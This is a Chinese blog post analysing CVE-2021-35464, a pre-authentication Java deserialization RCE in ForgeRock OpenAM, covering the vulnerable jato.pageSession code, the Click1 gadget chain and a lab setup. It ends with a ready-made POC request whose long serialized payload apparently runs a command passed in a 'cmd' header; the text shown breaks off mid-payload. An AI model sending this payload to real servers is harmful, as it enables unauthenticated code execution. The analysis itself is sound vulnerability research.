CVE-2021-35464 漏洞分析:ForgeRock OpenAM 中的预认证 RCE

admin 2023-11-13 14:49:28 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

 

0x00 前述

2021 年 6 月 29 日,安全研究员 Michael Stepankin 发布了CVE-2021-35464,这是 ForgeRock访问管理器身份和访问管理软件中的预认证远程代码执行 (RCE) 漏洞。ForgeRock 为许多企业提供前端 Web 应用程序和远程访问解决方案。

前几天是在360漏洞通告看到了这个漏洞,心血来潮第一次分析框架漏洞,就从这个开始吧。

 

0x01 前置知识

Java反序列化

序列化是将复杂的数据结构(例如对象及其字段)转换为可以作为顺序字节流发送和接收的“更扁平”格式的过程。

序列化数据使得以下操作变得更加简单:

  • 将复杂数据写入进程间内存、文件或数据库
  • 例如,通过网络、应用程序的不同组件之间或在 API 调用中发送复杂数据

我理解他能节约内存,尤其面对大范围请求的时候。

关键是,当序列化一个对象时,它的状态也会被持久化。换句话说,对象的属性及其分配的值都被保留下来。

反序列化是将此字节流恢复为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。然后网站的逻辑可以与这个反序列化的对象进行交互,就像与任何其他对象一样。

很多语言都支持反序列化,比如 PHP、Ruby 和 Java 都可以反序列化。

不同于 PHP 的反序列化,Java 的反序列化更难读懂。序列化的 Java 对象总是以相同的字节开始,比如16进制的ac ed或者rO0这样的Base64编码。

使用 JDK 中的 ObjectOutputStream 这个类,调用 writeObject来进行二进制格式写入,ObjectInputStream 这个类中使用 readObject()方法读取二进制流,转换为对象。这差不多和 PHP 的能对应起来。

以下是一个示例(对于从没有接触过java反序列化而言):

我们先建立一个项目,建立两个class,一个Person,一个TestObjSerializeAndDeserialize,确定好反序列化ID和方法。

public class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    private int age;
    private String name;
    private String sex;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

TestObjSerializeAndDeserialize中先序列化一次,保存下来,再反序列化一次。

public class TestObjSerializeAndDeserialize {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person对象
     * @author xudp
     * @throws FileNotFoundException
     * @throws IOException
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("gacl");
        person.setAge(25);
        person.setSex("男");
        // ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("D:/Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons对象
     * @author xudp
     * @return
     * @throws Exception
     * @throws IOException
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
                new File("D:/Person.txt")));
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

}

我们看看序列化出来是什么?

可以看到是一串16进制,以ACED为开头,实际上所有的序列化出来的都是这样。其中serialVersionUID 是序列化的版本号,凡是实现Serializable接口的类都有一个表示序列化版本标识符的静态变量。这个字段的添加可以使得我们对新的类的增加修改比较方便,否则编译会抛出错误。

Java框架

简而言之,为了方便开发,也为了减少技术整合的问题,Java框架就诞生了。它可以被开发者定制,其他开发者可以基于它完成复用和重构。比如我们使用jQuery开发,如果使用了较多的第三方js,多个页面可能用了同一个js,可能所有的页面都引入一遍,如果js发生了修改,还需要每个页面再去修改,很麻烦,而且使得页面打开速度,维护难度都提高了。如果使用Vue配合Webpack构建工具,在入口文件引入需要重复的插件,我们就可以在所有组件中使用这个插件,后期发生变动,也只需要修改这个入口文件就可以了。

常见的java框架有:

WAF

全称:WEB APPLICATION FRAMEWORK
主要应用方面:EJB层,(WEB层也有,但是比较弱)。
主要应用技术:EJB
出处: http://java.sun.com/blueprints/code/index.html
简述:这是SUN在展示J2EE平台时所用的例子PetStore(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了MVC和其他良好的设计模式。SUN的网站上有技术资料,最好下载PetStore来研究,WEBLOGIC里自带此系统,源码在bea\weblogic700\samples\server\src\petstore。这是学习了解J2EE的首选框架。

Struts:

主要应用方面:WEB层。
主要应用技术:JSP,TagLib,JavaBean,XML
出处: http://jakarta.apache.org/struts/index.html
简述:这是APACHE的开源项目,目前应用很广泛。基于MVC模式,结构很好,基于JSPJbuilder8里已经集成了STRUTS1.02的制作。

WAF+STRUTS结合的例子:

WEB层用STRUTSEJB层用WAF
JSP(TagLib)——>ActionForm——>Action ——>Event——>EJBAction——>EJB——>DAO——>Database JSP(TagLib)(forward)<——Action <——EventResponse<——

Turbine

主要应用方面:WEB层。
主要应用技术:servlet
出处:http://jakarta.apache.org/turbine/index.html
简述:这是APACHE的开源项目。基于SERVLET。据说速度比较快,基于servicepluggable implementation可插拔的执行组件)的方式提供各种服务。

COCOON

主要应用方面:WEB层。
主要应用技术:XMLXSPservlet
出处: http://cocoon.apache.org/2.0/
简述:这是APACHE的一个开源项目。基于XML,基于XSP(通俗地说,XSP是在XML静态文档中加入Java程序段后形成的动态XML文档。)。特点是可以与多种数据源交互,包括文件系统,数据库,LDAPXML资源库,网络数据源等。

ECHO

主要应用方面:WEB层。
主要应用技术:servlet
出处: http://www.nextapp.com/products/echo/
简述:nextapp公司的一个开源项目。基于SERVLET。页面可以做的很漂亮,结合echopoint,可以作出很多图形效果(里面用了jfreechart包)。使用SWING的思想来作网页,把HTML当作JAVA的类来做。但是大量使用Session,页面分帧(Frame)很多,系统资源消耗很大。

JATO

全称:SUN ONE Application Framework
主要应用方面:WEB层。
主要应用技术:JSP,TagLib,JavaBean
出处: http://www.sun.com/
简述:这是SUN推出的一个商业性框架,一看名字就知道是结合SUN ONE的平台推出的。JATO2.0比较简单,适宜分析,使用了JSP+TagLib+JavaBean。如他的DOC所说JATO是适合用在小的WEB应用里。

TCF

全称:Thin-Client Framework
主要应用方面:JAVA GUI
主要应用技术:JAVA application

而分层开发下的常见JavaEE框架有:

Mybatis:解决数据持久化

Spring MVC:解决WEB层的MVC框架

Spring:解决技术整合问题的框架(V&NCTF有出过相关题目)

了解这些框架能够既能帮我们尽快上手一个项目,也能够在面对安全审计任务时更快确定问题。

而今天要讲的分析的漏洞就存在于JATO框架中。

 

0x02 源码分析

组件 影响版本 安全版本
ForgeRock AM 6.0.0.x 7
ForgeRock AM 6.5.0.x 7
ForgeRock AM 6.5.1 7
ForgeRock AM 6.5.2.x 7
ForgeRock AM 6.5.3 7

这个openam.war文件怎么得到呢?两种方法。

第一种,docker拉一个环境。

$ docker run -h localhost -p 7080:8080 --name openam openidentityplatform/openam

然后拉起来从docker cp openam://usr/local/tomcat/webapps/openam.war ./ 提取出openam.war。

第二种,可以ForgeRock官网下载相关固件,这里给出地址。顺便说个小tips,这个ForgeRock的邮箱可以选择yeah.netdomain

https://backstage.forgerock.com/downloads/get/familyId:am/productId:am/minorVersion:6.5/version:6.5.2.3/releaseType:full/distribution:war

给出的是AM-6.5.2.3.war。

得到这个war后,解压WAR文件并反编译里面的所有JAR(库),以便我们查看源代码。

可以使用 Intellij IDEA 来处理 Java 代码,因为它提供了用于搜索和构建调用图的便捷方法。更重要的是,它可以帮助我们直接反编译,而且这个 Java 反编译器可以在其内置terminal调用。它就是java-decompiler.jar。 你可以在 Intellij IDEA 的 \plugins\java-decompiler\lib 下找到它。

对openam搜索,大概找到了330个jar。

可以使用两种方法反编译。

第一种,直接terminal命令。

$ java -cp "java-decompiler.jar位置" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true "要反编译的jar" "存放的文件夹位置"

但我嫌麻烦,我用了第二种。

第二种,直接打开IDEA,选中一个jar,右击-Add as Library...就能够反编译。

找到jato-2005-05-04.jar,在com/iplanet.jato/view/下找到了ViewBeanBase.class

protected void deserializePageAttributes() {
    if (!this.isPageSessionDeserialized()) {
        RequestContext context = this.getRequestContext();
        if (context == null) {
            context = RequestManager.getRequestContext();
        }

        String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
        if (pageAttributesParam != null && pageAttributesParam.trim().length() > 0) {
            try {
 //vul
           this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
            } catch (Exception var4) {
                this.handleDeserializePageAttributesException(var4);
            }
        }

        this.setPageSessionDeserialized();
    }
}

这表示,如果我们的get请求中包含了jato.pageSession的参数,jato会将其反序列化成为一个会话,而恰恰这里没有经过任何的过滤,直接使用了我们前置知识中讲到的原生 Java 序列化 ObjectInputSteam ,然后在头部进行了压缩。

那么梳理一下,如果要利用,既要搞清楚怎么压缩,然后考虑怎么绕过验证,最后能够RCE。

如果要利用就得搞清楚压缩的机制才可以,但有更简单的方法,将jato-2005-05-04.jar 和 ysoserial.jar 作为库包含。至于绕过验证,其实阅读XML会发现不少地方使用了jato,我们可以找到ccversion/Version是可行无需认证就可以访问的。

<context-param>
    <param-name>jato:com.sun.identity.console.version.*:moduleURL</param-name>
    <param-value>../ccversion</param-value>
</context-param>
String windowTitle = resourceBundle.getString("masthead.versionWindowTitle");
// Get query parameters.
String productNameSrc = (request.getParameter("productNameSrc") != null)
? request.getParameter("productNameSrc") : "";
String versionFile = (request.getParameter("versionFile") != null)
? request.getParameter("versionFile") : "";

windowTitle = VersionViewBean.escapeHTML(windowTitle);

String productNameHeight =
(request.getParameter("productNameHeight") != null)
    ? request.getParameter("productNameHeight") : "";
String productNameWidth =
(request.getParameter("productNameWidth") != null)
    ? request.getParameter("productNameWidth") : "";

// Create button frame URL.
StringBuilder buttonBuffer =
    new StringBuilder(request.getContextPath())
    .append("/ccversion/ButtonFrame");

// Create masthead frame URL.
StringBuilder buffer =
    new StringBuilder(request.getContextPath())
    .append("/ccversion/Masthead.jsp?");

按照 Michael Stepankin 的方法,这种负载就可以完成urlDNS的跳转。

import com.iplanet.jato.util.Encoder;
import ysoserial.payloads.URLDNS;
import java.io.Serializable;

public class Main {

  public static void main(String[] args) throws Exception {

    Object payload = new URLDNS().getObject("http://xxx4.x.artsploit.com/");
    byte[] payloadBytes = Encoder.serialize((Serializable) payload, false);
    String payloadString = Encoder.encodeHttp64(payloadBytes, 1000000);
    System.out.println(payloadString);
  }
}

其实这个分析到这里就差不多结束了,使用ysoserial 的 CommonsBeanutils1 小工具链可以RCE。但是为什么这个漏洞被评价很高呢?

是因为作者在实际目标中发现URLDNS 和 CommonsBeanutils1并不能达到效果,也就没办法完成通杀,所以作者考虑了其他办法。

2015 年,@frohoff@gebl 展示了几种从公共库中的 readObject 方法触发远程代码执行的方法,包括广泛使用的 Apache Commons Collections。Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。也就是说我们可以通过给反序列化发送任意类对象触发 readObject 方法来达到自定义工具链的攻击模式。

JackOfMostTrades的gadgetinspector可以帮助我们静态分析jar包找到利用漏洞链,使用它可以找到13个链。

java/security/cert/CertificateRevokedException.readObject()
  java/util/TreeMap.put()
   org/apache/click/control/Column$ColumnComparator.compare()
    org/apache/click/control/Column.getProperty()
     org/apache/click/control/Column.getProperty()
      org/apache/click/util/PropertyUtils.getValue()
       org/apache/click/util/PropertyUtils.getObjectPropertyValue()
        java/lang/reflect/Method.invoke()

我们关注倒数第二条链。找到click-nodeps-2.3.0.jar,进入org/apache/click/util/PropertyUtils,找到关键函数getObjectPropertyValue()。

private static Object getObjectPropertyValue(Object source, String name, Map cache) {
    PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);

    Method method = null;
    try {
        method = (Method) cache.get(methodNameKey);

        if (method == null) {

            method = source.getClass().getMethod(ClickUtils.toGetterName(name));
            cache.put(methodNameKey, method);
        }

        return method.invoke(source);

Object source是正在结构的对象,String name是我们可控参数。get方法没有参数,但是能够指定一个String类型。已知的 Javaorg.apache.xalan.xsltc.trax.TemplatesImpl,它是可序列化的,ysoserial 的 CommonsBeanutils1 链有一个类似“java.util.PriorityQueue.readObject”形式的小工具可以替代CertificateRevokedException.readObject触发ColumnComparator.compare。

这样重新在ysoserial下添加新类构造对象,可以得到下面的利用链,这个链比较长,这是一部分。

java.util.PriorityQueue.readObject()
 java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
   java.util.PriorityQueue.siftDownUsingComparator()
    org.apache.click.control.Column$ColumnComparator.compare()
     org.apache.click.control.Column.getProperty()
      org.apache.click.control.Column.getProperty()
       org.apache.click.util.PropertyUtils.getValue()
        PropertyUtils.getObjectPropertyValue()
         java.lang.reflect.Method.invoke()
          TemplatesImpl.getOutputProperties()
           TemplatesImpl.newTransformer()
            TemplatesImpl.getTransletInstance()
             TemplatesImpl.defineTransletClasses()
              ClassLoader.defineClass()
               Class.newInstance()
               ...
                MaliciousClass.<clinit>()
                ...
                 Runtime.exec()

如果在ysoserial.payloads.Click1.getObject()方法设置断点,可以看到是如何RCE的。

 

0x03 POC触发

其实可以直接使用docker拉一个,但是这里也试着尝试直接安装看看。

在host中添加FQDN

vi /etc/hosts
127.0.0.1 localhost openam.example.com example.com

然后使其生效。

$ /etc/init.d/networking restart

然后建立两个tomcat服务器,我下载的tomcat8。

创建两个文件夹/usr/local/tomcat1和tomcat2,将下载好的解压进去,把bin目录下的catalina.sh拷贝到/etc/init.d/,重命名为tomcat1和tomcat2.

然后做如下修改:

添加chkconfig和description

#!/bin/sh

# Licensed to the Apache Software Foundation (ASF) under one or more

# chkconfig: 2345 10 90

# description: Tomcat service

# contributor license agreements.  See the NOTICE file distributed with

将CATALINA_HOME分别设为/usr/local/tomcat1和/usr/local/tomcat2.

CATALINA_HOME=/usr/local/tomcat1

CATALINA_HOME=/usr/local/tomcat1

将JAVA_HOME设为/usr/local/jdk1.8.0_161。这个JDK是自己下的,网上资源很多。

JAVA_HOME=/usr/local/jdk1.8.0_161

修改两个tomcat目录下conf目录下server.xml的端口分别为8081和8082.

<Connector port="8081" protocol="HTTP/1.1"
           connectionTimeout="20000"
           redirectPort="8443" />

注意着了的redirectPort也要修改,否则会冲突。

<Server port="8006" shutdown="SHUTDOWN">
  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />

SHUTDOWN的端口也要修改不要冲突。

把下载好的war示例程序放入/usr/local/tomcat1/webapps下,/usr/local/tomcat2/webapps也放入。

然后进行服务更新。

$ systemctl daemon-reload

然后启动两个服务。

$ sudo service tomcat1 start
$ sudo service tomcat2 start

这样就可以访问8081和8082端口看到两个apache服务了。

如果出现什么其他的无法启动的问题,大概率增加执行权限就可以解决。

然后访问openam就可以。

直接发包,cmd处使用命令即可,root权限。

poc:

POST /openam/ccversion/Version HTTP/1.1
Host: openam.example.com:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10561
cmd:ls

jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAA